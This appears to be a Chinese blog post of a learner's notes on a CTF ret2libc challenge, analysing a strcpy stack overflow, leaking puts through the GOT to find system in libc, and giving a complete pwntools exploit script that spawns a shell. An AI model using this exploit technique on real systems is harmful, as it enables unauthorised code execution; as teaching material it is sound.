棧溢出-ret2libc地址泄露筆記

作爲一名初學者,在碰到很多攻擊思路的時候會感覺很妙,比如gadget的構造,這題的sh參數截斷。

1、首先分析程序架構和保護措施。

2、使用IDA開始判斷程序是否具備最簡單的棧溢出執行條件:

  • ret2text:不具備,沒有shell可執行代碼
  • ret2shellcode:不具備寫入全局區域的入口

  • 沒有bin/bash可用,也沒有system函數可以調用
  • 沒有完整gadget構造鏈

3、執行程序,通過IDA分析main函數

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v3; // ST04_4
  int v4; // ST08_4
  char src; // [esp+12h] [ebp-10Eh]
  char buf; // [esp+112h] [ebp-Eh]
  int v8; // [esp+11Ch] [ebp-4h]

  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, &buf, 0xAu);
  v8 = strtol(&buf, v3, v4);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, &src, 0x100u);
  Print_message(&src);
  puts("Thanks you ~");
  return 0;
}

程序首先輸出一段文字,然後提醒輸入內存地址來查看該地址的內容,通過See_something函數實現。

See_something函數如下:

int __cdecl See_something(_DWORD *a1)
{
  return printf("The content of the address : %p\n", *a1);
}

然後讀取字符串寫入&src,然後將&src指針參數傳遞給Print_message函數

read(0, &src, 0x100u);
Print_message(&src);

查看Print_message(&src)代碼。通過strcpy,將src中的內容拷貝到dest的內存空間中

int __cdecl Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h]

  strcpy(&dest, src);
  return printf("Your message is : %s", &dest);
}

Print_message存在棧溢出點,由於src的可寫入空間是0x100,而dest的內存空間只有0x38,通過strcpy可以覆蓋ret地址。

4、完整攻擊思路:

(1)通過第一次程序讀取任意內存位置內容,來讀取程序got表中的puts函數實際地址。在程序第一次調用puts函數時,函數指針指向plt,所以通過執行完一次puts後,再讀取got表中的實際地址;

(2)由於puts函數地址隨機性,通過提供的libc文件計算,puts函數和system函數的偏移量,這兩步最終就是爲了得到libc中實際的system函數地址;

(3)通過strcpy棧溢出覆蓋ret address,讓函數ret指向上面已經拿到的system函數;

(4)system函數的參數“sh”並不能在程序中找到,但是可以使用包含sh的任意字符串截斷形成參數(這一步太妙了);

 5、先簡單的畫一個堆棧圖

 當開始執行Print_message(&src)函數的時候,看到esp+0x12的內存地址寫入了eax,然後再最終寫入當前的esp。也就是將src的內存地址壓棧。

0x804864b <main+206>    lea    eax, [esp + 0x12]
0x804864f <main+210>    mov    dword ptr [esp], eax

然後執行call Print_message,自動將下一行地址8048657(也就是ret address)push到堆棧,然後進入Print_message開始push ebp,並提升棧底,創建新的堆棧空間。

所以最終在Print_message函數中堆棧圖是這樣

將程序停留到strcpy執行完後的下一行,不要退出Print_message,觀察堆棧情況。

所以要達到能覆蓋ret的長度是0xffffd7ec-0xffffd7b0

ret需要指向的system函數地址,通過libc偏移計算,藉助pwntools,得到system函數在libc中的實際地址。也可以直接用ida加載libc.so計算。

libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")

 //先得到puts的got地址
puts_gots_address = elf.got["puts"]

//讀取puts地址中實際的puts地址
r.sendline(str(puts_gots_address))
s = r.recv()
puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)

//通過偏移計算得到system在libc中的真實地址
offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]
system_libc_address = puts_libc_address + offset_libc_address

最後需要找到system函數需要的sh參數

如下圖,這裏使用fflush字符串的截斷,是0x0804829E位置的sh。

然後就可以構造payload,得到shell。

from pwn import *
 
elf = ELF("./ret2libc3")
r = process("./ret2libc3")
libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")
 
r.recvuntil("Give me an address (in dec) :")
puts_gots_address = elf.got["puts"]
r.sendline(str(puts_gots_address))
s = r.recv()
puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)
 
offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]
system_libc_address = puts_libc_address + offset_libc_address
offset = 0xffffd7ec-0xffffd7b0
sh_address = 0x0804829E
 
shellcode = flat(offset*'A',system_libc_address,0xdeadbeef,sh_address)
r.sendline(shellcode)
r.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章